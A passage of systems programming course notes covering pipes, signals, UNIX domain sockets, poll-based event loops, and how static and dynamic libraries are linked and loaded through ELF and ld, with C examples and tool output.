else printf(".\n");
exit(EXIT_SUCCESS);
}
waitpid(child, NULL, wait_param);
write(STDOUT_FILENO, "Post-fork\n", 10);
}
/* ...are we done here? */
return 0;
}
wait_param to equal
WNOHANG?output_w_write to
1?read Behavior#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <string.h>
int
main(void)
{
pid_t child;
int fds[2];
char *msg = "What type of doggo is Penny?\n";
pipe(fds);
if ((child = fork()) == 0) {
/* recall: `cat` reads its stdin, and outputs it to stdout */
char *args[] = {"cat", NULL};
close(STDIN_FILENO);
dup2(fds[0], STDIN_FILENO);
execvp(args[0], args);
}
write(fds[1], msg, strlen(msg));
printf("100%% good girl.");
wait(NULL);
return 0;
}
What is the following doing?
#include <execinfo.h>
#include <stdlib.h>
#include <stdio.h>
#include <signal.h> /* sigaction and SIG* */
void
bt(void)
{
void *bt[128];
char **symbs;
int nfns, i;
nfns = backtrace(bt, 128);
symbs = backtrace_symbols(bt, nfns);
for (i = 0; i < nfns; i++) {
printf("%s\n", symbs[i]);
}
free(symbs);
}
void
bar(int *val)
{
*val = 42;
bt();
}
void
foo(int *val)
{
bar(val);
}
void
sig_fault_handler(int signal_number, siginfo_t *info, void *context)
{
printf("Fault triggered at address %p.\n", info->si_addr);
bt();
exit(EXIT_FAILURE);
return;
}
int
main(void)
{
sigset_t masked;
struct sigaction siginfo;
int ret;
int val;
sigemptyset(&masked);
sigaddset(&masked, SIGSEGV);
siginfo = (struct sigaction) {
.sa_sigaction = sig_fault_handler,
.sa_mask = masked,
.sa_flags = SA_RESTART | SA_SIGINFO /* we'll see this later */
};
if (sigaction(SIGSEGV, &siginfo, NULL) == -1) {
perror("sigaction error");
exit(EXIT_FAILURE);
}
foo(&val);
printf("---\nMoving on...\n---\n");
fflush(stdout);
foo(NULL);
return 0;
}
Communicating with multiple clients is hard. Domain
sockets are complicated, but there are challenges around
blocking on reads. What if one client is very
“slow”, and we block waiting for them?
#include "06/domain_sockets.h"
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/wait.h>
#include <assert.h>
void
panic(char *msg)
{
perror(msg);
exit(EXIT_FAILURE);
}
void
client(char *filename, int slowdown)
{
int i, socket_desc;
char b;
socket_desc = domain_socket_client_create(filename);
if (socket_desc < 0) {
perror("domain socket client create");
exit(EXIT_FAILURE);
}
/* delay after creating connection, but before communicating */
sleep(slowdown);
if (write(socket_desc, ".", 1) == -1) panic("client write");
if (read(socket_desc, &b, 1) == -1) panic("client read");
printf("c: %c\n", b);
close(socket_desc);
exit(EXIT_SUCCESS);
}
void
client_slow(char *filename)
{
client(filename, 3);
}
void
client_fast(char *filename)
{
client(filename, 1);
}
int
main(void)
{
char *ds = "domain_socket";
int socket_desc, i;
socket_desc = domain_socket_server_create(ds);
if (socket_desc < 0) {
/* remove the previous domain socket file if it exists */
unlink(ds);
socket_desc = domain_socket_server_create(ds);
if (socket_desc < 0) panic("server domain socket creation");
}
/* TODO: change this order. What changes? */
if (fork() == 0) client_slow(ds);
if (fork() == 0) client_fast(ds);
/* handle two clients, one after the other */
for (i = 0; i < 2; i++) {
int ret, new_client, i;
char b;
new_client = accept(socket_desc, NULL, NULL);
if (new_client == -1) panic("server accept");
/* read from, then write to the client! */
if (read(new_client, &b, 1) == -1) panic("server read");
if (write(new_client, "*", 1) == -1) panic("server write");
close(new_client);
}
close(socket_desc);
/* reap all children */
while (wait(NULL) != -1) ;
return 0;
}
main. When you change
the order, what do you see?The systemctl command enables you to
understand many of the services on the system (of which
there are many: systemctl --list-units | wc -l
yields 244 on my system).
$ systemctl --list-units
...
cups.service loaded active running CUPS Scheduler
...
gdm.service loaded active running GNOME Display Manager
...
ssh.service loaded active running OpenBSD Secure Shell server
...
NetworkManager.service loaded active running Network Manager
...
openvpn.service loaded active exited OpenVPN service
...
I’ve pulled out a few selections that are easier to relate to:
ssh.Each of these services communicates with many clients using domain sockets.
pollEach of these services is a process that any client send requests to. We’ve seen that domain sockets can help us to talk to many different clients as each is represented with a separate file descriptor. How does the service process know which of the file descriptors has information available on it? Imagine the following case:
sleep(100) (or, more realistically,
simply does some expensive computation).If the server issues a read on the
descriptor for A, it will block for 100 seconds!
Worse, it won’t service B despite it making a
request immediately. Why are we waiting for a slow client
when there is a fast client with data already available?
Yikes.
We’d really like a facility that can tell us
which descriptor’s have data and are ready to be
read from, and which are ready to be written to! Luckily,
UNIX comes to the rescue with its event
notification APIs. These are APIs that let us
understand when a file descriptor has an event
(i.e. a client writes to it) and is now readable or
writable. These include three functions: poll,
select, and (the more modern)
epoll. Lets look at how to use
poll!
pollLets look at some pseudocode for using
poll.
fdinfo[NUM_FDS] = {
# initialized to all fds of interest, listening for read and write events
}
while True:
poll(fdinfo, NUM_FDS, -1) # -1 = no timeout
for fdi in fdinfo:
# check and respond to each of the possible events
if fdi.revents & (POLLHUP | POLLERR):
# process closed fds
if fdi.revents & POLLIN:
# read off of, or accept on the file desciptor
if fdi.revents & POLLOUT:
# write to the file desciptor
This yields what is called an event loop – we
loop, each time processing a single event. You see event
loops in most GUIs (where each event is a key/mouse press),
and in web programming where javascript callbacks are
executed by the browser’s event loop. Importantly, we
only process descriptors that have events, thus can avoid
blocking on descriptors that don’t have available data!
This solves our previous problem: a server won’t block
awaiting communication with a client that is delayed, or
never writes to a channel, instead only
reading/writeing to descriptors
that are ready.
poll APIint poll(struct pollfd *fds, nfds_t nfds, int timeout)
- We pass in an array of struct pollfds of
length nfds, with each entry corresponding to a
single file descriptor we want to get information about. The
timeout is in milliseconds, and enables
poll to return after that amount of time
returns even if none of the file descriptors has an event. A
negative timeout is interpreted as “infinite”,
while 0 means that poll will
return immediately with any current events.Lets check out the struct pollfd:
struct pollfd {
int fd; /* file descriptor */
short events; /* requested events */
short revents; /* returned events */
};
When we make the poll call, we populate the
fd and events fields with the file
descriptors we’re interested in, and which events we’re
interested in retrieving. events is a “bitmap”
which means each bit in the value denotes a different type
of event, and we bitwise or event types together
when writing them into events. These event
types include:
POLLIN - is there data available to be
read? If the file descriptor is the domain
socket that we use for accept, then this
POLLIN means that a new client request is ready
to accept.POLLOUT - is there data available to be
writen?We can almost always set
events = POLLIN | POLLOUT as we wait to wait
for both.
When poll returns, we determine which events
happened by looking at the contents of the
revents field. In addition to
POLLIN and POLLOUT which tell us
if data is ready to be read or
written, we have the following:
POLLHUP - The other side of the pipe closed
its descriptor! Subsequent reads to the
descriptor will return 0. We can likely
close our descriptor.POLLERR - Again, there was some sort of a
problem with the descriptor, and we should likely
close it, terminating communication.poll CodeLets put this all together. For simplicity, in this
example, we’ll assume that we can always write
to a descriptor without blocking. This isn’t generally true
if you’re writing large amounts of data, and in “real code”
you’d also want to handle POLLOUT
appropriately.
#include "06/domain_sockets.h"
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/wait.h>
#include <assert.h>
#include <poll.h>
void
panic(char *msg)
{
perror(msg);
exit(EXIT_FAILURE);
}
void
client(char *filename)
{
int i, socket_desc;
sleep(1); /* await the domain socket creation by the server */
socket_desc = domain_socket_client_create(filename);
if (socket_desc < 0) {
perror("domain socket client create");
exit(EXIT_FAILURE);
}
for (i = 0; i < 5; i++) {
char b;
if (write(socket_desc, ".", 1) == -1) panic("client write");
if (read(socket_desc, &b, 1) == -1) panic("client read");
printf("c %d: %c\n", getpid(), b);
}
close(socket_desc);
exit(EXIT_SUCCESS);
}
/* we can track max 16 fds */
#define MAX_FDS 16
void
server(char *filename)
{
int socket_desc, num_fds = 0;
struct pollfd poll_fds[MAX_FDS];
/*** Initialize the domain socket and its pollfd ***/
socket_desc = domain_socket_server_create(filename);
if (socket_desc < 0) {
unlink(filename); /* remove the previous domain socket file if it exists */
socket_desc = domain_socket_server_create(filename);
if (socket_desc < 0) panic("server domain socket creation");
}
/* Initialize all pollfd structs to 0 */
memset(poll_fds, 0, sizeof(struct pollfd) * MAX_FDS);
poll_fds[0] = (struct pollfd) {
.fd = socket_desc,
.events = POLLIN,
};
num_fds++;
/*** The event loop ***/
while (1) {
int ret, new_client, i;
/*** Poll; if we don't get a client for a second, exit ***/
ret = poll(poll_fds, num_fds, 1000);
if (ret == -1) panic("poll error");
/*
* If we timeout, break out of the loop.
* This isn't what you'd normally do as servers stick around!
*/
if (ret == 0) break;
/*** Accept file descriptor has a new client connecting! ***/
if (poll_fds[0].revents & POLLIN) {
if ((new_client = accept(socket_desc, NULL, NULL)) == -1) panic("server accept");
/* add a new file descriptor! */
poll_fds[num_fds] = (struct pollfd) {
.fd = new_client,
.events = POLLIN
};
num_fds++;
poll_fds[0].revents = 0;
printf("server: created client connection %d\n", new_client);
}
/*** Communicate with clients! ***/
for (i = 1; i < num_fds; i++) {
if (poll_fds[i].revents & (POLLHUP | POLLERR)) {
printf("server: closing client connection %d\n", poll_fds[i].fd);
poll_fds[i].revents = 0;
close(poll_fds[i].fd);
/* replace the fd to fill the gap */
poll_fds[i] = poll_fds[num_fds - 1];
num_fds--;
/* make sure to check the fd we used to fill the gap */
i--;
continue;
}
if (poll_fds[i].revents & POLLIN) {
char b;
poll_fds[i].revents = 0;
/* our server is simply sending a '*' for each input character */
if (read(poll_fds[i].fd, &b, 1) == -1) panic("server read");
if (write(poll_fds[i].fd, "*", 1) == -1) panic("server write");
}
}
}
close(socket_desc);
exit(EXIT_SUCCESS);
}
int
main(void)
{
char *ds = "domain_socket";
if (fork() == 0) client(ds);
if (fork() == 0) client(ds);
server(ds);
return 0;
}
Up till now, we’ve been focusing on UNIX programming APIs, and how to interact with various aspects of the system. Part of this discussion has been how various programs can be orchestrated to cooperate. Pipelines enable larger functionalities to be composed out of multiple programs in which the output of one goes to the input of the next. System servers provide services to clients that use IPC to harness their functionality. This enables servers that control system resources (like wifi) to let many clients have limited and controlled access to those resources.
The next few chapters dive under the hood of processes. We’ll investigate
How do we think about our system’s programs? We’re used to writing our own programs, and like to think of the code we write being relatively self-contained. In contrast, quite a bit of system programming is about providing functionality that can be used by any program on the system. What if you wanted to implement the world’s best key-value store, and wanted to enable anyone to use your implementation!?
We think of these shared functionalities as falling into one of two categories:
libc is the core library that
provides all of the functions that we use when we include
many of the headers in the class, for example,
#include <stdlib.h>,
#include <stdio.h>, or
#include <string.h>.ssh sessions, that
provide your vpn connection, and that display
your graphical user interface, and many other functions.
We’ve already seen many of the IPC and communication
foundations that make these tick.This chapter, we’ll focus on libraries as a foundation for sharing software in systems.
Before we start, consider:
#include a ton of files, do you
think that all of the related functionality is compiled into
your program? That would mean that every program
has the functionality compiled into it.Visually, this is what it would look like to compile with
“libraries” that are defined as normal *.o
files.
The goals of libraries are to:
string.h).Libraries are collections of functionality that can be used by many different programs. They are code that expand the functionality of programs. This differs from services which are separate programs. Libraries have two core components that mirror what we understand about C:
Lets set up some visual nomenclature.
There are two main ways library code is integrated into programs:
We’ll discuss each of these in subsequent sections
We can see most of the header files in
/usr/include, within which you’ll find some
familiar files:
$ ls /usr/include/std*
/usr/include/stdc-predef.h /usr/include/stdint.h /usr/include/stdio_ext.h /usr/include/stdio.h /usr/include/stdlib.h
Yes, this means that you have the source code for much of
the standard library at your fingertips! But how does
gcc know to find all of these files when we use
#include <...>? The following
gcc incantation gives us a good idea:
$ gcc -xc -E -v -
...
#include <...> search starts here:
/usr/lib/gcc/x86_64-linux-gnu/9/include
/usr/local/include
/usr/include/x86_64-linux-gnu
/usr/include
End of search list.
These are all of the “include paths” that are searched,
by default, when we do an
#include <>.
Aside: In
Makefiles, we often want to add to tell the compiler to look for header files in our own files Thus, we update the include paths by adding multiple-I<dir>options to thegcccommand line. We can see how this works:$ gcc -I. -xc -E -v - ... #include <...> search starts here: . /usr/lib/gcc/x86_64-linux-gnu/9/include ...The include paths are searched in order, so you can see that when we explicitly tell
gccto include a directory-I.here, we’re asking to to check in the current directory (.) first.
Before we proceed to figure out how multiple
*.o objects are combined into an
executable, lets learn what it means for one object to
depend on another for some functionality. To understand
this, we have to understand how object files
(*.o) and binaries think about symbols and
linking them together.
When your program uses a library’s API, the library’s
code is linked into your program. Linking is the
act of taking any symbols that are referenced, but not
defined in your object (*.o) files, and the
definition of those symbols in the objects that provide
them. A symbol is a functions or global variable in
your program. Each symbol has a representation in your
object files so that they can be referenced across objects.
We have to understanding the linking operation to dive into
how libraries can be added into, thus accessible from your
program. Lets peek into how our objects think about the
world using a number of programs that can introspect on the
objects including nm, objdump, and
readelf.
As an example, lets look at your ptrie
implementation. We know that each of the tests (in
tests/0?-*.c) depends on your ptrie
implementation in ptrie.c. What does that look
like?
$ nm tests/01-add.o
U _GLOBAL_OFFSET_TABLE_
000000000000022a T main
U printf
U ptrie_add
U ptrie_allocate
U ptrie_free
U __stack_chk_fail
0000000000000000 t sunit_execute
0000000000000000 d test
0000000000000184 T test_add
0000000000000144 T test_alloc
The left column is the address of the symbol, and the character in the middle column gives us some information about the symbol:
T - this symbol is part of the code of the
*.o file, and is visible outside of the object
(i.e. it isn’t static). Capital letters mean
that the symbol is visible outside the object which simply
means it can be linked with another object.t - this symbol is part of the code, but is
not visible outside of the object (it is
static).D - a global variable that is visible.d - a global variable that is not
visible.U - an undefined symbol that must
be provided by another object file.For other symbol types, see man nm.
We can see what we’d expect: the test defines its own
functions for (e.g. main,
test_add), but requires the
ptrie_* functions and printf to be
provided by another object file. Now lets check out the
ptrie objects.
$nm ptrie.o
...
U calloc
U free
...
U printf
00000000000005ae T ptrie_add
00000000000003fc t ptrie_add_internal
0000000000000016 T ptrie_allocate
0000000000000606 T ptrie_autocomplete
00000000000000f8 T ptrie_free
...
U putchar
U puts
U strcmp
U strdup
U strlen
We can see that the ptrie.o object depends
on other objects for all of the functions we’re using from
stdio.h, stdlib.h, and
string.h, provides all of the functions that
are part of the public API (e.g. ptrie_add),
and some other symbols
(e.g. ptrie_add_internal) that cannot be
linked to other object files.
After we link the ptrie into the test (with
gcc ... tests/01_add.o ptrie.o -o tests/01_add.test),
$ nm tests/01_add.test | grep alloc
U calloc@@GLIBC_2.2.5
0000000000001566 T ptrie_allocate
00000000000013ad T test_alloc
Now we can see that there are no longer any undefined
references (U) to ptrie_allocate,
so the test object has now found that symbol within the
ptrie.o object. Additionally, we can see that
some symbols (e.g. calloc here) are still
undefined and have some mysterious @@...
information associated with them. You might guess that this
somehow tells us that the function should be provided by the
standard C library (glibc on Ubuntu).
Lets see another example visually using the
libexample/* files:
Where are we? OK, lets summarize so far. Objects can have undefined symbol references that get linked to the symbols when combined with the objects in which they are defined. How is this linking implemented?
Question: What does a file format
mean? We talk about the format of webpages
being html, images, being png,
documents being docx or
pdf. What do these formats
mean? What is the format of object and
executable binaries?
First, we have to understand something that is a little amazing: all of our objects and binaries have a defined file format called the Executable and Linkable Format (ELF)21.
We can confirm that these files are ELF with
$ xxd ptrie.o | head -n 1
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
xxd dumps out a file in hexadecimal format,
and head just lets us filter out only the first
line (i.e. at the head). The first characters in most
formats often denote the type of file, in this case
an ELF file.
This reveals a cool truth: programs are
data, plain and simple. They happen to be data of a
very specific format, ELF. nm,
readelf, and objdump are all
programs that simply understand how to dive into the ELF
format, parse, and display the information.
As programs are simply data encapsulated in the ELF format, we can start to understand what it means to link two objects together.
An in-depth explanation follows. Now we get to an interesting part of the ELF objects:
$ readelf -r tests/01_add.o | grep ptrie
000000000151 001500000004 R_X86_64_PLT32 0000000000000000 ptrie_allocate - 4
000000000179 001600000004 R_X86_64_PLT32 0000000000000000 ptrie_free - 4
000000000191 001500000004 R_X86_64_PLT32 0000000000000000 ptrie_allocate - 4
0000000001dd 001800000004 R_X86_64_PLT32 0000000000000000 ptrie_add - 4
00000000021f 001600000004 R_X86_64_PLT32 0000000000000000 ptrie_free - 4
The -r flag here outputs the “relocation”
entries of the elf object.
This output says that there are number of references to
the ptrie_* functions in the code, and
enumerates each of them. You can imagine that these are
simply all of the places in the code that these functions
are called. The first column gives us the offset into the
ELF object where the reference to the function is made – in
this case where it is called. For example, at the offset
0x15122 into the
ELF object, we have a call to ptrie_allocate.
This is important because the tests/01_add.o
does not know where the ptrie_allocate function
is yet. It will only know that when it links with the
ptrie implementation!
Lets check out what this looks like in the ELF object’s
code. For this, we’ll use objdump’s ability to
dump out the “assembly code” for the object file. It also
will try and print out the C code that corresponds to the
assembly, which is pretty cool.
$ objdump -S tests/01_add.o
...
sunit_ret_t
test_alloc(void)
{
144: f3 0f 1e fa endbr64
148: 55 push %rbp
149: 48 89 e5 mov %rsp,%rbp
14c: 48 83 ec 10 sub $0x10,%rsp
struct ptrie *pt;
pt = ptrie_allocate();
150: e8 00 00 00 00 callq 155 <test_alloc+0x11>
155: 48 89 45 f0 mov %rax,-0x10(%rbp)
...
I’ve printed out the addresses in the object around
offset 0x151 because the first reference to
ptrie_allocate is made there (see
readelf output above). We can see an
instruction to call test_alloc.
However, you can see that the address that the binary has
for that function is 00 00 00 00, or
NULL! This is what it means for a function to
be undefined (recall: the nm output for the
symbol is U).
Now we can understand what a linker’s job is:
What does a Linker do? A linker takes all of the undefined references to symbols from the relocation records, and rewrites the binary to populate those references with the address of that symbol (here updating
00 00 00 00to the actual address oftest_alloc).
In our Makefiles, we always use
gcc both for compiling *.c files
into objects, but also linking objects together into a
binary.
Lets back up and collect our thoughts.
.c file.This is the foundation for creating large programs out of small pieces, and to enable some of those pieces to be shared between programs.
We’ll also see that libraries enable an opportunity to save memory. For example,
A static library is simply a collection of ELF object
(*.o) files created with gcc -c.
They are collected together into a static library file that
has the name lib*.a. You can think of these
files as a .zip or .tar file
containing the ELF objects.
Static libraries of the form lib*.a and are
created with the ar (archive) program from a
collection of objects. An example from the
ptrie library (expanded from its
Makefile) that creates
libptrie.a:
$ ar -crs libptrie.a *.o
So a static library is just a collection of ELF objects created by our compilation process. If we are writing a program that wants to use a library, first you make sure to include its header file(s). Then, when compiling, we have to tell the compiler which library we want to link with by using a few compiler flags:
$ gcc -o tests/01_add.test 01_add.o -L. -lptrie
The last two flags are the relevant ones:
-L. says “look for static libraries in the
current directory (i.e. .)” – other directories
can be included, and a few default directories are used,
and-lptrie says “please link me with the
ptrie library” which should be found in one of
the given directories and is found in a file called
libptrie.a.Note that the linker already searches a few directories
for libraries (i.e. default -L paths):
$ gcc -print-search-dirs | grep libraries | sed 's/libraries: =//' | tr -s ":" '\n'
/usr/lib/gcc/x86_64-linux-gnu/9/
/usr/lib/gcc/x86_64-linux-gnu/9/../../../../x86_64-linux-gnu/lib/x86_64-linux-gnu/9/
/usr/lib/gcc/x86_64-linux-gnu/9/../../../../x86_64-linux-gnu/lib/x86_64-linux-gnu/
/usr/lib/gcc/x86_64-linux-gnu/9/../../../../x86_64-linux-gnu/lib/../lib/
/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/9/
/usr/lib/gcc/x86_64-linux-gnu/9/../../../x86_64-linux-gnu/
/usr/lib/gcc/x86_64-linux-gnu/9/../../../../lib/
/lib/x86_64-linux-gnu/9/
/lib/x86_64-linux-gnu/
/lib/../lib/
/usr/lib/x86_64-linux-gnu/9/
/usr/lib/x86_64-linux-gnu/
/usr/lib/../lib/
/usr/lib/gcc/x86_64-linux-gnu/9/../../../../x86_64-linux-gnu/lib/
/usr/lib/gcc/x86_64-linux-gnu/9/../../../
/lib/
/usr/lib/
As many of these paths are in directories that any user
can access, this is how the functionality of these libraries
can be accessed by any program wishing to use them. As we
compile our ptrie library as a static library,
you’ve already seen one example of these in use.
Static libraries do provide some facilities for trying to shrink the amount of memory required for library code. If this was all done naively, then all of the object files in a static library could get loaded into a program with which it is linked. This means that for programs that link with a library whose objects take bytes, we’ll have bytes devoted to storing programs on disk, and running the programs in memory (if they all run at the same time). Some static libraries can be quite large.
Instead, static libraries are smarter. If a static
library contains multiple .o files, only
those object files that define symbols that are undefined in
the program being linked with, are compiled into the
program. This means that when designing a static
library, you often want to break it into multiple
.o files along the lines of different
functionalities that separately used by different programs23.
Some projects take this quite far. For example musl libc is a libc
replacement, and it separates almost every single function
into a separate object file (i.e. in a separate
.c file!) so that only the exact functions that
are called are linked into the program.
Shared or dynamic libraries (for brevity, I’ll call them
only “dynamic libraries”, but both terms are commonly used)
are linked into a program at runtime when the
program starts executing as part of exec.
Recall that even executable binaries might still have
undefined references to symbols. For example, see
calloc in the example below:
$ nm tests/01_add.test | grep calloc
U calloc@@GLIBC_2.2.5
Though we can execute the program
tests/01_add.test, it has references to
functions that don’t exist in the program! How can we
possibly execute a program that has undefined functions;
won’t the calls to calloc here be
NULL pointer dereferences?
To understand how dynamic linking works, lets look at the
output of a program that tells us about dynamic library
dependencies, ldd.
$ ldd tests/01_add.test
linux-vdso.so.1 (0x00007ffff3734000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb502adf000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb502cfa000)
ldd also simply parses through the ELF
program, and determines which dynamic libraries are required
by the program. For now, we’ll ignore the
linux-vdso, but the other two entries are
interesting. We can see that the C standard library,
libc is being provided by
/lib/x86_64-linux-gnu/libc.so.6. These are both
dynamic libraries, as are most *.so.?* and
*.so files. If we check out that object we see
that it provides calloc.
$ objdump -T /lib/x86_64-linux-gnu/libc.so.6 | grep calloc
000000000009ec90 g DF .text 0000000000000395 GLIBC_2.2.5 __libc_calloc
000000000009ec90 w DF .text 0000000000000395 GLIBC_2.2.5 calloc
So this library provides the symbols we require (i.e. the
calloc function)!
If we want our program to use a dynamic library, we have to compile it quite similarly to when we wanted to use static libraries:
$ gcc -o dyn_prog *.o -L. -lptrie
So everything is somewhat normal here; we’re saying “look
for the library in this directory”, and compile me with the
ptrie library. To create the dynamic
library:
$ gcc -Wall -Wextra -fpic -I. -c -o ptrie.o ptrie.c
$ gcc -shared -o libptrie.so ptrie.o
The first line is the normal way to create an object file
from C, but includes a new flag, -fpic. This
tells the compiler to generate “Position
Independent Code”, or PIC, which is code that can,
seemingly magically, be executed when the code is loaded
into any address! The dynamic library cannot assume which
addresses it will be loaded into as many dynamic libraries
might be loaded into an executable, thus the PIC
requirement.
The second line creates the dynamic (shared) library. By
convention, all dynamic libraries end with .so
which you can think of as “shared object”. This is the line
that is dynamic-library equivalent to the ar
command for static libraries.
Now we have a binary that has been told were the library is; lets execute it!
$ ./dyn_prog
./dyn_prog: error while loading shared libraries: libptrie.so: cannot open shared object file: No such file or directory
Whaaaaaa? If we dive in a little bit, we can see:
$ nm ./dyn_prog | grep ptrie_alloc
U ptrie_alloc
But I thought that we wanted all symbols to be defined
when we create a binary? Why is the library’s
ptrie_alloc not linked into the program? We can
see that not all symbols are defined in a program when we
are using dynamic libraries as they are linked when we
try and run the program!
We now can see the main practical difference between static and dynamic libraries:
-lptrie directive.exec).We can start to see why the program wont execute when we look at its dynamic library dependencies:
$ ldd ./dyn_prog
linux-vdso.so.1 (0x00007ffdf3ca0000)
libptrie.so => not found
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff9921e8000)
/lib64/ld-linux-x86-64.so.2 (0x00007ff9923f8000)
It isn’t finding libptrie.so!
To execute the program, we have to properly set an environment variable that will tell the program, when it is executed, where to look for the dynamic library:
$ LD_LIBRARY_PATH=./:$LD_LIBRARY_PATH ./dyn_prog
...success...
This is some strange shell syntax.
LD_LIBRARY_PATH=./:$LD_LIBRARY_PATH essentially
says “The environment variable called
LD_LIBRARY_PATH should be updated to prepend
the diretory ./ onto the front of it. This is
conceptually similar to something like
lib_path = "./:" + lib_path in a language that
supports string concatenation. When ./dyn_prog
is executed, the updated LD_LIBRARY_PATH
environment variable is visible in that program using the
normal getenv. So there is some part of the
initialization of ./dyn_prog that looks at this
environment variable to figure out where to look for the
dynamic library.
To confirm why we can now execute the program, we can again look at the library dependencies:
$ LD_LIBRARY_PATH=./:$LD_LIBRARY_PATH ldd prog_dynamic
linux-vdso.so.1 (0x00007ffc939f8000)
libptrie.so => ./libptrie.so (0x00007f70d316f000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f70d2f66000)
/lib64/ld-linux-x86-64.so.2 (0x00007f70d3236000)
If we expand the LD_LIBRARY_PATH to include
the current directory, the program can find the library.
If we want to see the default paths that are searched for dynamic libraries:
$ ldconfig -v 2>/dev/null | grep -v ^$'\t'
/usr/local/lib:
/lib/x86_64-linux-gnu:
/lib32:
/libx32:
/lib:
In fact, ldconfig -v will also print out all
of the potential default dynamic libraries we can link
with.
exec with Dynamic LinkingHow does the libc.so library get linked into
our program? Diving in a little bit further, we see that
ld is our program’s “interpreter”:
$ readelf --program-headers tests/01_add.test
Elf file type is DYN (Shared object file)
Entry point 0x1180
There are 13 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040
0x00000000000002d8 0x00000000000002d8 R 0x8
INTERP 0x0000000000000318 0x0000000000000318 0x0000000000000318
0x000000000000001c 0x000000000000001c R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x00000000000008e8 0x00000000000008e8 R 0x1000
LOAD 0x0000000000001000 0x0000000000001000 0x0000000000001000
0x0000000000000e55 0x0000000000000e55 R E 0x1000
...
A lot is going on here, but we see the reference to
ld-linux-x86-64.so.2 that we saw previously in
the ldd output. We can now see that the library
(that I’ll call simply ld) is a “program
interpreter” (see
“Requesting program interpreter: /lib64/ld-linux-x86-64.so.2”)
for our program24. This is
the core of understanding how our program can execute while
having undefined references to functions provided by another
library.
When we call exec, we believe that the
program we execute takes over the current process and starts
executing. This is not true! Instead, if a program
interpreter is defined for our program (as we see: it is),
the interpreter program’s memory is loaded along side our
program, but then the interpreter is executed instead of our
program! It is given access to our program’s ELF object, and
ld’s job is to finish linking and loading our
program. We have to add ./ to the
LD_LIBRARY_PATH to make the program execute
because ld reads that environment
variable when it is trying to link and load in your
program!
execBut wait. Why does exec end up loading
ld, which then loads our program? Why load
ld to link our program instead of just running
our program? Because ld also loads and
links all of the dynamic libraries (.sos) that
our program depends on!!!
We can confirm that ld is loaded into our
program by executing it in gdb, blocking it on
breakpoint, and outputting its memory maps
(cat /proc/262648/maps on my system):
555555554000-555555555000 r--p 00000000 08:02 527420 /home/gparmer/repos/gwu-cs-sysprog/22/hw_solns/02/tests/01_add.test
555555555000-555555556000 r-xp 00001000 08:02 527420 /home/gparmer/repos/gwu-cs-sysprog/22/hw_solns/02/tests/01_add.test
555555556000-555555557000 r--p 00002000 08:02 527420 /home/gparmer/repos/gwu-cs-sysprog/22/hw_solns/02/tests/01_add.test
555555557000-555555558000 r--p 00002000 08:02 527420 /home/gparmer/repos/gwu-cs-sysprog/22/hw_solns/02/tests/01_add.test
555555558000-555555559000 rw-p 00003000 08:02 527420 /home/gparmer/repos/gwu-cs-sysprog/22/hw_solns/02/tests/01_add.test
7ffff7dbe000-7ffff7de3000 r--p 00000000 08:02 2235639 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7ffff7de3000-7ffff7f5b000 r-xp 00025000 08:02 2235639 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7ffff7f5b000-7ffff7fa5000 r--p 0019d000 08:02 2235639 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7ffff7fa5000-7ffff7fa6000 ---p 001e7000 08:02 2235639 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7ffff7fa6000-7ffff7fa9000 r--p 001e7000 08:02 2235639 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7ffff7fa9000-7ffff7fac000 rw-p 001ea000 08:02 2235639 /usr/lib/x86_64-linux-gnu/libc-2.31.so
7ffff7fac000-7ffff7fb2000 rw-p 00000000 00:00 0
7ffff7fc9000-7ffff7fcd000 r--p 00000000 00:00 0 [vvar]
7ffff7fcd000-7ffff7fcf000 r-xp 00000000 00:00 0 [vdso]
7ffff7fcf000-7ffff7fd0000 r--p 00000000 08:02 2235423 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7ffff7fd0000-7ffff7ff3000 r-xp 00001000 08:02 2235423 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7ffff7ff3000-7ffff7ffb000 r--p 00024000 08:02 2235423 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7ffff7ffc000-7ffff7ffd000 r--p 0002c000 08:02 2235423 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7ffff7ffd000-7ffff7ffe000 rw-p 0002d000 08:02 2235423 /usr/lib/x86_64-linux-gnu/ld-2.31.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]
Recall that this dumps all of the memory segments of the process.
There are two important observations:
/usr/lib/x86_64-linux-gnu/libc-2.31.so is
present in the process so somehow got linked and loaded into
the process./usr/lib/x86_64-linux-gnu/ld-2.31.so is
also present in the process; indeed it was the first code to
execute in the process!Lets summarize the algorithm for executing a dynamically loaded program.
exec is called to execute a new
program.
The program’s ELF file is parsed, and if a “program interpreter” is set, the interpreter is instead executed.
In most cases, the interpreter is ld,
and it is loaded into the process along with the target
program.
Execution is started at ld, and it:
LD_LIBRARY_PATH
environment variable to help look for them.calloc above) are set to
point to library functions.main) of our program.This is all quite complex. Why would we ever want all of this complexity over the simplicity of static libraries?
First, lets look at how much memory a library takes up.
$ ls -lh /usr/lib/x86_64-linux-gnu/libc-2.31.so
-rwxr-xr-x 1 root root 2.0M Dec 16 2020 /usr/lib/x86_64-linux-gnu/libc-2.31.so
So libc takes around 2MiB. Other libraries
take quite a bit more:
libradeonsi_dri.so is 23 MiB)libmysqlclient.so
